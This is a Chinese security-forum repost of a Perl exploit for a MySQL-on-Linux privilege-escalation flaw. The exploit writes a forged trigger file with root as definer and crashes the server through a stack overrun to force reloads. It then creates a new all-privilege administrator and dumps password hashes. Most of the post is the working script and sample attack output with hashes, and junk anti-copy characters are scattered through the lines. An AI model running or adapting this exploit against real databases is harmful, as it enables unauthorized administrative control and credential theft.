找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

MySQL(Linux)远程数据库提权漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:08:45 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。
) j) H. a( V" @. x: ]  `$ T. z
- Z  }, x- d0 e" G) d( m + W  n* ~3 a% {, V( f  P8 N
2 F3 r& L' t. m

/ S3 x& F8 X  ~3 m" p/ C
* s: h8 x  Q5 H" T1 Vuse DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table2 ~& ^/ V* ]- G$ r& \3 `0 T. g5 K
        triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry# ~! a8 V/ ?% E/ C# c
        describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
# u% x/ q+ Y. b) ?3 j* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
& P! \8 o5 }$ u5 e5 h9 r/ [+ J$ [* INSERT a value into the table so the trigger event gets executed, k8 H* F3 H6 f# c* L7 U' R
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.# i; b0 o2 s  w3 W" R. U# Y2 T
* Crash the MySQL Server again to force it reload the user configuration6 l, }% R  `+ M) j' g1 ]
* Create a new mysql user with all privileges set to enabled9 |- D9 i: \% o" {% L* h% K
* Crash again to reload configuration5 j; G" l" X" W. R5 J. E
* Connect by using the newly created user
/ w7 b+ v2 t  t' I* ?4 t% V0 r* The new connection has ADMIN access now to all databases in mysql. _3 c* Y# _& ?4 v# N
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded
" `4 T! L% d, I! W1 i* As said the user has FULL ACCESS to the database now! x5 c, f6 d- E: R8 O- ]

% }3 q0 r( l7 i- fRespawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
$ e# k+ F* t7 l6 G$ H8 k=cut6 N6 t, z" u2 C) b

7 N3 e& q/ q( \8 y=for comment
" d/ d* R+ N( u
9 ]0 w$ ~  K  T8 H; f* t6 fuser created for testing (file privs will minor privileges to only one database):
) b: P* W: H6 j/ ?! W
4 l% X% [, H4 c, r+ h2 C3 @0 Kmysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
8 D  m7 g& F1 T( R7 N' VQuery OK, 0 rows affected (0.00 sec)
6 J, G' H5 i4 C# u$ W$ ~; \( L7 c7 u: T! t, F( A3 X& P# D3 y. @
mysql> create database lessdb
" \6 O9 K9 }* Q* j7 ^7 ~    -> ;
( F1 d7 N& F; W: P- Z& DQuery OK, 1 row affected (0.00 sec)
2 o: @9 t: g0 Z
# i+ I- x6 K0 F* r7 u  xmysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
+ R9 j7 v. x( GQuery OK, 0 rows affected (0.02 sec)9 X, B! S  \0 I5 ~0 U& X
& d  V5 Z! w; O* k4 Y
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;' d% g9 Z! A; z  G$ V
Query OK, 0 rows affected (0.00 sec)
: f, K2 ]: g3 Z$ X5 g
# k5 k. Z6 I& q; E/ alogin with new unprivileged user:
3 G  C) h  d3 t  r/ K6 K# [mysql> select * from mysql.user;3 N+ |9 F3 e" q1 ~
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
0 k: {% r4 W' B* k( u/ D
& A! T8 A) t! n: B. ^=cut
+ ]; M4 W4 I) |' `
7 K& E6 Z+ }/ ~=for comment3 a# j7 `- _, S2 K* Z0 O6 |  w

/ e" ]$ m) S% t' O$ w  U8 ^example attack output:/ N# w" ^* @' \: A5 ^
7 M+ {+ ?% k2 F3 S- o% ^7 n4 z7 G
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl% W! W8 b% U4 g0 n4 G
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER
3 B5 D# a7 Z& T1 s2 n# ^0 Z! G0 P* dMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins
' {% S7 P; M$ @$ [! w! V) xert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p. D& Y! N2 i  `2 z+ f3 S
riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
0 {" C  a1 h- `5 w9 M! L\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference. g* S& w5 X# A& K% G
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y) {( u& m9 e1 a# g; v
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
% Q; U& m6 M) Y) g; X1 m\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\& t. @4 S7 {1 x: n; ^2 p0 h
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs! T+ V( O4 T# K6 P
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati# v5 `4 H$ Y3 X! s! Y" n
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
0 k5 j- A) s! ]5 B# Svilege_elevation.pl line 44.
- f0 h: f- @9 gDBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
" x3 C7 r2 n: Z; Dprivilege_elevation.pl line 50.  t/ r# }. g5 j
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
; ~- ?1 P' M, [3 a% U+ Aprivilege_elevation.pl line 59.$ S9 E' G+ I4 Y3 ?1 w& g2 r
W00TW00T!$ q2 f) Q5 ?8 |4 |# K
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B7 u) H: U3 D/ ]( Z. Q9 Q0 I
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
' `( F) R& [/ }Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B1 z4 h# y! b) G6 m- m( C5 ]2 k
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
. U: s$ y- I4 EB02C
4 O  a& I# Y/ i+ t* I6 ZFound a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29% M5 }. U/ }2 b2 x# }3 ~
Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
1 _' l' v& z9 {$ Z  P9 j1 P- r! x+ VFound a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
8 H, ~/ \+ ]0 V6 aFound a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
4 K; S8 B- [4 R+ j2 q& E4 ]Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE70 b; Q  Z7 w* @- J
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
3 Z3 e+ }  j6 E+ r" SFound a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
5 L6 ]1 u# @  V3 K! m; i* x" TFound a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC. ^; ~$ d* W' W
! z9 V; p2 S& ^8 V( _6 ~
=cut( k( |' H( C- M5 I

. k) [6 a8 T  w! u$user = "less10";: F0 H, R; p# v; h  K
$password = "test";
  V/ U8 y% @% Q4 T$database = "lessdb10";
3 p- q0 {" V2 F2 P5 G' j) M9 m& I$target = "192.168.2.4";# n7 a* h$ H' b* O0 |! F( F
$folder = "/var/lib/mysql/"; # Linux5 E/ z4 V  T# D( h( Z, k# Z
$newuser = "rootedbox2";
! Y$ S5 ^4 u, p" N/ V- B2 n$newuserpass = "rootedbox2";" M3 S9 C5 V: s; }9 Z* |; R
$mysql_version = "51"; # can be 51 or 50
4 m( m2 [  w1 ?6 O4 ]" Y
: P, X, {/ t3 |  e9 r: x% qif ($mysql_version eq "50") {  x. {9 f5 I! A( l; f
$inject =
* M9 z3 ^$ P4 ?"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";' @2 T6 O+ g4 E# W: r7 G, ?
} else {) v$ q8 ^2 r; a9 ]
$inject =
  ?3 E( i. `, `"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
$ i- j5 \2 o1 J* X}  ?8 _1 ?' ^5 x/ V) l, Z( [6 p

; v3 \* J. w; Iprint $inject;#exit;, c2 Q% I: g4 Y/ O6 O9 T5 Y  f
$inject2 =
* B. r% l' b: U0 z"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";9 z0 {8 z( v9 ?7 j
8 v& X) k, a( y# l# \) i
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",, ]& l$ z+ S  ^4 L  l4 N5 U
                       "$user", "$password",% }1 H6 j+ M; C
                       {'RaiseError' => 0});
. D0 K$ g9 E: {, \eval { $dbh->do("DROP TABLE rootme") };! s0 ?$ R* I, |0 v
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");# g- K7 r, H/ p. n& i6 e, r( @( h
$dbh->do($inject);
5 o% z, [; M: N, ?$dbh->do($inject2);
  B0 Z0 w& C% p* b, P+ X2 ?+ H( n; A/ L* `) F
$a = "A" x 10000;+ R4 x6 T) s6 M# [1 E1 X/ g
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
+ {6 U$ ]7 q! d; [8 K/ Q6 f" |  \; K* q; D' \
sleep(3);4 {4 G" t" Z* ?5 [/ ]2 w* S

( I  g# H. L) `6 Fmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",8 n( \  \2 u0 m  {( B0 }8 r' m( H
                       "$user", "$password",
9 c; r0 x! @4 L% E, L6 l. u/ h                       {'RaiseError' => 0});$ q- a" i1 |9 `! N
3 D( g# P' d/ q5 t$ k; g. D! e
$dbh->do("INSERT INTO rootme VALUES('ROOTED');");, J  \: o: r/ \( @0 v8 }
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");6 q1 l" a* O& @  U; X  s

/ K" N$ c! _/ T( A! A0 h! Csleep(3);
5 ~+ P9 H! @+ m0 R0 }: `6 J: h! m' t$ r/ }$ o
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
3 _6 A6 Q! m2 x$ W+ U+ @5 s; L                       "$user", "$password",
+ d6 |- A+ l! m  v                       {'RaiseError' => 0});" \. k  C5 \# P

" r. E' }6 F. k: ~. i, [$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");) y4 C( A6 _- t# x9 W* W
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
1 ~+ m6 @% D8 A$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
2 l- Y3 E% F  n
8 a! }* C1 `. Z6 E# Msleep(3);: o* U+ }4 T+ V) f! S2 B
  v- U" R& h; O
my $dbh = DBI->connect("DBI:mysql:host=$target;",
8 L+ t! m7 I6 H                       $newuser, $newuserpass,$ V4 g5 m4 y  a4 X3 A' E# c
                       {'RaiseError' => 0});
3 I1 h) |) y; d( W# G4 ^* f
/ E- i/ G+ W* amy $sth = $dbh->prepare("SELECT * FROM mysql.user");
, N. w! E, u) b# p/ w$sth->execute();5 C- S! H, D4 E8 f8 j
6 u4 [" i0 Y9 g
print "W00TW00T!\n";" b2 u  G/ V7 k/ A. P- M; Z& |
: ?( Y2 M8 |% q2 B
while (my $ref = $sth->fetchrow_hashref()) {
: l7 a) Z8 D, `( y3 Iprint "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
" J1 L, }& G4 X1 k}
/ I* t& Y' h( y$sth->finish();
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表